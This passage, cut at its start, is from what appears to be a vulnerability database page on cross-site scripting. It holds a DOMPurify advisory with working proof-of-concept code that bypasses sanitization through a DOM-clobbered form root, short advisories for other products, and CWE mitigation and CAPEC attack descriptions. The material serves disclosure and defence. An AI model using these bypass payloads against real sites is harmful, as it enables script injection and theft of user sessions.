untrustedHtml;\nDOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });\ncontainer.appendChild(t.content.firstElementChild);\n```\n\nIf `untrustedHtml` is `\u003cform onmouseover=\u2026\u003e\u003cinput name=nodeName\u003e\u2026\u003c/form\u003e`, the resulting node has the `onmouseover` attribute intact when re-inserted into the live document.\n\n**(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers.** The `_sanitizeAttributes` early-return at `:1490` skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:\n\n- **`action=\"javascript:...\"` and `formaction=\"javascript:...\"`** \u2014 URI validation at `:1413` never runs. A user click on a submit button inside the sanitized form navigates to the `javascript:` URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.\n- **`id=\"\u003ccolliding-name\u003e\"`** \u2014 the DOM-clobbering guard at `:1352-1359` (`SANITIZE_DOM \u0026\u0026 (lcName === \u0027id\u0027 || lcName === \u0027name\u0027) \u0026\u0026 (value in document || value in formElement)`) lives inside `_sanitizeAttributes` and is skipped. An attacker can therefore land `id=\"cookie\"`, `id=\"body\"`, `id=\"head\"`, `id=\"firstChild\"`, etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does `document.cookie`, `document.body`, etc.\n- **`target=\"_top\"`**, **`autofocus`**, **`formenctype`**, **`formmethod`** \u2014 all survive untouched.\n- **Custom event handlers DOMPurify wouldn\u0027t have explicit list entries for** (e.g., newly-spec\u0027d `oncontentvisibilityautostatechange`) survive on the clobbered root via the same skip; the per-name allow-list at `:1361-1364` never runs.\n\nVerified \u2014 full attribute set survives on a single payload (PoC):\n\n```js\nconst root = document.createElement(\u0027form\u0027);\nroot.setAttribute(\u0027action\u0027, \u0027javascript:alert(1)\u0027);\nroot.setAttribute(\u0027target\u0027, \u0027_top\u0027);\nroot.setAttribute(\u0027onclick\u0027, \u0027alert(2)\u0027);\nroot.setAttribute(\u0027onmouseover\u0027, \u0027alert(3)\u0027);\nroot.setAttribute(\u0027autofocus\u0027, \u0027\u0027);\nroot.setAttribute(\u0027formaction\u0027, \u0027javascript:alert(4)\u0027);\nroot.setAttribute(\u0027id\u0027, \u0027cookie\u0027); // DOM-clobbering primitive\nroot.innerHTML += \u0027\u003cinput name=\"nodeName\"\u003e\u0027;\nDOMPurify.sanitize(root, { IN_PLACE: true });\nconsole.log(root.outerHTML);\n// \u003cform action=\"javascript:alert(1)\" target=\"_top\" onclick=\"alert(2)\"\n// onmouseover=\"alert(3)\" autofocus=\"\" formaction=\"javascript:alert(4)\"\n// id=\"cookie\"\u003e\u003cinput\u003e\u003c/form\u003e\n```\n\n**(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE \u2014 the clobber is sticky.** Chromium\u0027s `HTMLFormElement` named-property cache appears to retain the named child reference even after the child\u0027s `name` attribute is removed during the sanitization pass. Empirically verified \u2014 after the first sanitize pass, the input\u0027s `name=\"nodeName\"` attribute is correctly stripped (the output shows `\u003cinput\u003e` with no attributes), yet `typeof form.nodeName === \u0027object\u0027` is still true and the input element is still returned. Calling `DOMPurify.sanitize(sameNode, { IN_PLACE: true })` a second time hits the same `_isClobbered` \u2192 `_forceRemove` \u2192 `_sanitizeAttributes` early-return path. The only effective recovery is serialize-then-reparse:\n\n```js\nconst root = parseAttackerHtml(); // form with input name=\"nodeName\" child\nDOMPurify.sanitize(root, { IN_PLACE: true }); // bypass: attrs survive\nDOMPurify.sanitize(root, { IN_PLACE: true }); // STILL bypassed: attrs survive\nconst recovered = (() =\u003e {\n const t = document.createElement(\u0027template\u0027);\n t.innerHTML = root.outerHTML; // forces a fresh parse\n const r = t.content.firstElementChild;\n DOMPurify.sanitize(r, { IN_PLACE: true });\n return r;\n})();\n// recovered.outerHTML === \u0027\u003cform\u003e\u003cinput\u003e\u003c/form\u003e\u0027 \u2190 finally clean\n```\n\nA \"belt-and-suspenders\" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.\n\n**(d) SAFE_FOR_TEMPLATES bypass for the root\u0027s attributes.** When the caller sets `SAFE_FOR_TEMPLATES: true` to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, \u2026) from receiving `{{\u2026}}` / `\u003c%\u2026%\u003e` / `${\u2026}` syntax through DOMPurify\u0027s output, attribute-level template-syntax stripping runs in the same `_sanitizeAttributes` pass that early-returns on clobbered roots (`:1572-1576`). The root\u0027s attributes therefore retain raw template syntax that the downstream engine then evaluates.\n\nVerified \u2014 same PoC structure, with `SAFE_FOR_TEMPLATES: true`:\n\n```js\nconst root = document.createElement(\u0027form\u0027);\nroot.setAttribute(\u0027title\u0027, \u0027{{evil}}\u0027);\nroot.setAttribute(\u0027onmouseover\u0027, \u0027window.__x=1\u0027);\nconst c = document.createElement(\u0027input\u0027);\nc.setAttribute(\u0027name\u0027, \u0027nodeName\u0027);\nroot.appendChild(c);\n\nDOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\nconsole.log(root.outerHTML);\n// \u003cform title=\"{{evil}}\" onmouseover=\"window.__x=1\"\u003e\u003cinput\u003e\u003c/form\u003e\n// ^^^^^^^^^^^^^^^^ template syntax survives\n```\n\nThis compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).\n\n(Text-node content inside the form is still scrubbed correctly \u2014 `_scrubTemplateExpressions` at `:1868-1870` walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)\n\n### Indirect / second-order\n\n- **DOM-based template systems / editors** that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).\n- **Email/HTML preview libraries** that pre-parse received HTML before sanitization for performance reasons.\n- **Frameworks that hand DOMPurify a node tree** rather than a string \u2014 including, indirectly, any code path that does `el.innerHTML = \u2026; DOMPurify.sanitize(el, { IN_PLACE: true })`. The outer `el` is fine (it\u0027s not the form), but if the *first child* of `el` is taken as the sanitization root in a different code path, the bypass triggers.\n\n### Why current `main` is also vulnerable\n\nCommit `89da34e` (\"fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM\") hardens `_sanitizeAttachedShadowRoots` via three new cached prototype getters (`getShadowRoot`, `getNodeName`, `getNodeType`) and an `_isClobbered` extension that checks `element.childNodes.length`. The fix is correct for its scope \u2014 shadow-root traversal \u2014 but does not change `_forceRemove`\u0027s parent-less-node behavior or `_sanitizeAttributes`\u0027s clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD `89da34e` and still succeeds.\n\n## Suggested fix\n\nTwo minimal-risk options:\n\n1. **Make `_forceRemove` honest about failure**: return whether the node was actually detached, and have the iterator call site honor that.\n\n ```ts\n const _forceRemove = function (node: Node): boolean {\n arrayPush(DOMPurify.removed, { element: node });\n try {\n getParentNode(node).removeChild(node);\n return true;\n } catch (_) {\n try { remove(node); } catch (_) {}\n return node.parentNode === null \u0026\u0026 /* but still attached to itself */ false;\n }\n };\n ```\n Then at `:1855`, if `_sanitizeElements` returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects \u2014 sanitization either succeeds or refuses to return a \"sanitized\" handle to an unsanitized tree.)\n\n2. **Strip attributes inside `_sanitizeAttributes` for clobbered roots**: when `_isClobbered(currentNode)` is true at `:1490`, instead of early-returning, iterate `currentNode.attributes` (using the cached `getAttributes` if you add one) and remove each via `removeAttribute`. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC\u0027d anyway) and removes the attack surface for root.\n\n3. **Refuse IN_PLACE on parent-less clobbered roots**: at the top of the iterator, check that the root either has a parent OR is not `_isClobbered`. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting \"sanitized = empty/safe.\"\n\n### Note on callable elements\n\nIn Chromium and WebKit, `HTMLEmbedElement`, `HTMLAppletElement`, `HTMLIFrameElement`, and `HTMLScriptElement` have `typeof === \u0027function\u0027` because they expose plugin/iframe `[[Call]]` traps at the WebIDL level. A `name=\"setAttribute\"` *child* of one of these tags spoofs the `setAttribute typeof === \u0027function\u0027` check \u2014 but only matters for the *attribute re-set* path at `:1619`, not the bypass demonstrated here (which uses `nodeName` and friends). The callable-element vector is worth checking separately as a potential `SAFE_FOR_TEMPLATES`-bypass primitive; the present report does not depend on it.",
"id": "GHSA-r47g-fvhr-h676",
"modified": "2026-06-15T19:53:05Z",
"published": "2026-06-15T19:53:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-r47g-fvhr-h676"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM"
}
GHSA-R47P-3H3G-WVW7
Vulnerability from github – Published: 2025-03-03 21:31 – Updated: 2025-04-10 21:31There is a stored Cross-site Scripting vulnerability in ArcGIS Server for versions 10.9.1 – 11.3 that may allow a remote, authenticated attacker to create a stored crafted link which when clicked could potentially execute arbitrary JavaScript code in the victim’s browser. The privileges required to execute this attack are high, requiring publisher capabilities. The impact is low to both confidentiality and integrity while having no impact to availability.
{
"affected": [],
"aliases": [
"CVE-2024-51948"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-03T20:15:40Z",
"severity": "MODERATE"
},
"details": "There is a stored Cross-site Scripting vulnerability in ArcGIS Server for versions 10.9.1 \u2013 11.3 that may allow a remote, authenticated attacker to create a stored crafted link which when clicked could potentially execute arbitrary JavaScript code in the victim\u2019s browser. The privileges required to execute this attack are high, requiring publisher capabilities. The impact is low to both confidentiality and integrity while having no impact to availability.",
"id": "GHSA-r47p-3h3g-wvw7",
"modified": "2025-04-10T21:31:07Z",
"published": "2025-03-03T21:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51948"
},
{
"type": "WEB",
"url": "https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/arcgis-server-security-2025-update-1-patch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-R47V-RXCG-P28J
Vulnerability from github – Published: 2023-07-26 21:30 – Updated: 2023-08-03 16:25An svg file upload vulnerability in October CMS v3.4.4 allows attackers to execute arbitrary code in the context of a browser via a crafted svg file. Attackers must be authenticated as users.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "october/october"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-37692"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-26T22:40:29Z",
"nvd_published_at": "2023-07-26T21:15:10Z",
"severity": "MODERATE"
},
"details": "An svg file upload vulnerability in October CMS v3.4.4 allows attackers to execute arbitrary code in the context of a browser via a crafted svg file. Attackers must be authenticated as users.",
"id": "GHSA-r47v-rxcg-p28j",
"modified": "2023-08-03T16:25:15Z",
"published": "2023-07-26T21:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37692"
},
{
"type": "PACKAGE",
"url": "https://github.com/octobercms/october"
},
{
"type": "WEB",
"url": "https://okankurtulus.com.tr/2023/07/24/october-cms-v3-4-4-stored-cross-site-scripting-xss-authenticated"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Stored Cross-Site Scripting October CMS"
}
GHSA-R48C-4VFJ-H426
Vulnerability from github – Published: 2022-12-14 15:30 – Updated: 2024-09-06 16:20A vulnerability, which was classified as problematic, has been found in collective.dms.basecontent. This issue affects the function renderCell of the file src/collective/dms/basecontent/browser/column.py. The manipulation leads to cross site scripting. The attack may be initiated remotely. Upgrading to version 1.7 or later will address this issue. The patch is at commit 6c4d616fcc771822a14ebae5e23f3f6d96d134bd. It is recommended to upgrade the affected component. The identifier VDB-215813 was assigned to this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "collective.dms.basecontent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-4495"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-16T21:58:44Z",
"nvd_published_at": "2022-12-14T15:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, has been found in collective.dms.basecontent. This issue affects the function renderCell of the file src/collective/dms/basecontent/browser/column.py. The manipulation leads to cross site scripting. The attack may be initiated remotely. Upgrading to version 1.7 or later will address this issue. The patch is at commit 6c4d616fcc771822a14ebae5e23f3f6d96d134bd. It is recommended to upgrade the affected component. The identifier VDB-215813 was assigned to this vulnerability.",
"id": "GHSA-r48c-4vfj-h426",
"modified": "2024-09-06T16:20:48Z",
"published": "2022-12-14T15:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4495"
},
{
"type": "WEB",
"url": "https://github.com/collective/collective.dms.basecontent/commit/6c4d616fcc771822a14ebae5e23f3f6d96d134bd"
},
{
"type": "PACKAGE",
"url": "https://github.com/collective/collective.dms.basecontent"
},
{
"type": "WEB",
"url": "https://github.com/collective/collective.dms.basecontent/releases/tag/1.7"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/collective-dms-basecontent/PYSEC-2022-42989.yaml"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.215813"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "collective.dms.basecontent Cross-site Scripting vulnerability"
}
GHSA-R48H-688C-Q7PR
Vulnerability from github – Published: 2022-05-17 04:40 – Updated: 2022-05-17 04:40Cross-site scripting (XSS) vulnerability in inpage.tpl.php in the Keyword Strategy Internal Links plugin 2.0 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the (1) sort, (2) search, or (3) dir parameter.
{
"affected": [],
"aliases": [
"CVE-2014-4537"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-07-02T18:55:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in inpage.tpl.php in the Keyword Strategy Internal Links plugin 2.0 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the (1) sort, (2) search, or (3) dir parameter.",
"id": "GHSA-r48h-688c-q7pr",
"modified": "2022-05-17T04:40:10Z",
"published": "2022-05-17T04:40:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-4537"
},
{
"type": "WEB",
"url": "http://codevigilant.com/disclosure/wp-plugin-keyword-strategy-internal-links-a3-cross-site-scripting-xss"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-R48X-CV83-X3MQ
Vulnerability from github – Published: 2025-07-26 21:31 – Updated: 2025-07-26 21:31A vulnerability was found in Roothub up to 2.6. It has been declared as problematic. Affected by this vulnerability is the function Edit of the file src/main/java/cn/roothub/web/admin/SystemConfigAdminController.java. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-8211"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-26T21:15:33Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Roothub up to 2.6. It has been declared as problematic. Affected by this vulnerability is the function Edit of the file src/main/java/cn/roothub/web/admin/SystemConfigAdminController.java. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-r48x-cv83-x3mq",
"modified": "2025-07-26T21:31:13Z",
"published": "2025-07-26T21:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8211"
},
{
"type": "WEB",
"url": "https://github.com/wandeorfu/test"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.317779"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.317779"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.622227"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.622347"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-R498-8RCJ-P67X
Vulnerability from github – Published: 2025-01-15 12:30 – Updated: 2025-01-15 15:31Inappropriate implementation in Fenced Frames in Google Chrome prior to 132.0.6834.83 allowed a remote attacker to obtain potentially sensitive information from the system via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2025-0441"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-15T11:15:10Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Fenced Frames in Google Chrome prior to 132.0.6834.83 allowed a remote attacker to obtain potentially sensitive information from the system via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-r498-8rcj-p67x",
"modified": "2025-01-15T15:31:24Z",
"published": "2025-01-15T12:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0441"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2025/01/stable-channel-update-for-desktop_14.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/368628042"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.